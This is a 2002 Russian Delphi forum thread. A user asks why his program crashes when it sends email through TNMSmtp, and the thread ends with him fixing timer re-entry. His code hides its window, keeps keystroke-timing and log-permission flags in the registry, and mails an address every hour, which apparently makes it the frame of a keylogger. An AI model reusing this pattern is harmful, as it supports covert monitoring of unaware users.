Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.08.29;
Скачать: CL | DM;

Вниз

Глюки с отправкой письма, помогите, плиз.   Найти похожие ветки 

 
BlackSun   (2002-06-21 05:41) [0]

Отправляю письмо с помощью TNMSmtp. Если создать пустой проект и там на кнопку приделать код отправки, то идет соединение с сервером и отправляется.
Но если я это делаю из моего проекта, то прога вылетает с ошибкой, и даже с сервером не может соединиться. Программа может
не сильно оптимизирована, пока не до этого... вот она :


unit prog;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Psock, NMsmtp, ExtCtrls,registry;

type
TForm1 = class(TForm)
Timer1: TTimer;
TimeOfKey: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure TimeOfKeyTimer(Sender: TObject);
private
procedure ApplicationMinimize(Sender : TObject);
procedure ApplicationRestore(Sender : TObject);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
dir:string;
min:integer;

implementation

{$R *.DFM}
procedure TForm1.ApplicationMinimize(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;
procedure TForm1.ApplicationRestore(Sender : TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;

Вот этот кусочек...

procedure Sendem;
var Mysmtp:TNMsmtp;
begin
Mysmtp:=TNMsmtp.Create(nil);
Mysmtp.Host:="smtp.inbox.ru"; {IP почтового сервера}
Mysmtp.Port:=25;
Mysmtp.Connect;
with Mysmtp do begin
Charset:="windows-1251";
PostMessage.FromAddress:="my@mail.ru"; {от кого}
PostMessage.ToAddress.Text:="my@inbox.ru"; {для кого}
PostMessage.Body.Text:="Дата отправки: "+DateToStr(Date)+#10#13+"Время отправки:"+TimeToStr(Time);
SendMail;
end;
if Mysmtp.Connected then Mysmtp.Disconnect; Mysmtp.Destroy;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
reg : TRegIniFile;
skey:string;
b:boolean;
begin
inc(min);
if min>60 then{по прошествии часа}
begin
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Can";{запрещаем запись в лог-файл}
reg.writestring("Software\Keys",skey,"No");
reg.free;
Sendem;
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Can";{разрешаем запись}
reg.writestring("Software\Keys",skey,"Yes");
reg.free;
min:=0;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg : TRegIniFile;
tim:longint;
hkprcKeyboard: TFNHookProc;
s,skey:string;
begin
min:=0;
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Can";{можем писать лог-файл}
reg.writestring("Software\Keys",skey,"Yes");
skey:="Time";
tim:=0;
reg.writeinteger("Software\Keys",skey,tim);{после нажатия клавиши прошло 0 сек.}
TimeOfKey.Enabled:=true;
{=====================================}
skey:="Directory";
reg.openkey("Software\Keys",false);
if not reg.valueexists(skey) then
begin
reg.closekey;
dir:=getcurrentdir;
if dir[length(dir)]="\" then delete(dir,length(dir),1);
reg.writestring("Software\Keys",skey,dir);{пишем директорию запуска}
end
else
begin
reg.closekey;
dir:=reg.readstring("Software\Keys",skey,s);{иначе читаем ее}
end;
dir:=dir+"\";
{=====================================}
reg.free;
{=====================================}
{IsNt;}
ShowWindow(Application.Handle, SW_HIDE);
Application.OnMinimize := ApplicationMinimize;
Application.OnRestore := ApplicationRestore;
end;

procedure TForm1.TimeOfKeyTimer(Sender: TObject);
var i,tim:dword;
reg : TRegIniFile;
skey:string;
begin
reg := TRegIniFile.Create( "" );
reg.RootKey := HKEY_LOCAL_MACHINE;
skey:="Time";
tim:=reg.readinteger("Software\Keys",skey,i);
inc(tim);{увеличили счетчик секунд}
reg.writeinteger("Software\Keys",skey,tim);
reg.free;
end;

end.


 
Fenix   (2002-06-21 08:39) [1]

А какая ошибка?


 
Ocean   (2002-06-21 09:29) [2]

Мне кажется, ты забыл указать NMSMTP.UserID. Без этого Connect даст afuthorization fail.


 
BlackSun   (2002-06-21 09:44) [3]

Если пускать не из под Дельфей, то прога просто через некоторое время исчезает из процессов, т.е. сама выгружается непонятно почему. Ещзе такой факт, когда ее пускаешь и смотришь, сколько она пямяти забирает, то оказывается, что каждую секунду она берет себе куски памяти и когда доходит до 4 метров, то она вылетает с ошибкой, если убрать эту строчку NMSmtp.Connect, то все нормально. И память постоянная держится.
Ну а насчет NMSmtp.UserID. Так ведь в новом проекте все нормально работает...


 
BlackSun   (2002-06-21 11:15) [4]

Все, разобрался! Теперь понятна утечка памяти. Все дело в таймере, я же не блокировал его при первом вызове, и в результате, во время тестирования проги я сделал, что он вызывается очень бытсро, в результате за момент времени вызывалось много процедур таймера, еще один не выполнялся, как вызывался другой. Вот в чем глюк был. Достаточно было запретить таймер, пока выполняется соединение, а потом снова разрешит...



Страницы: 1 вся ветка

Текущий архив: 2002.08.29;
Скачать: CL | DM;

Наверх




Память: 0.46 MB
Время: 0.006 c
4-96012
SergeyDon
2002-05-23 14:47
2002.08.29
Можно ли с помощью Sendmessage


1-95797
^Sanya
2002-08-20 00:11
2002.08.29
WinXP Processes


1-95900
Shrek
2002-08-18 19:57
2002.08.29
Размер приложения 2 мегабайта в место 300 КЛб!


1-95763
Olorin
2002-08-19 13:59
2002.08.29
Как реагировать на хот кей только при активной форме?


1-95867
Dick
2002-08-17 12:11
2002.08.29
Вопрос на который в Delphi Help я не нашел ответа





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский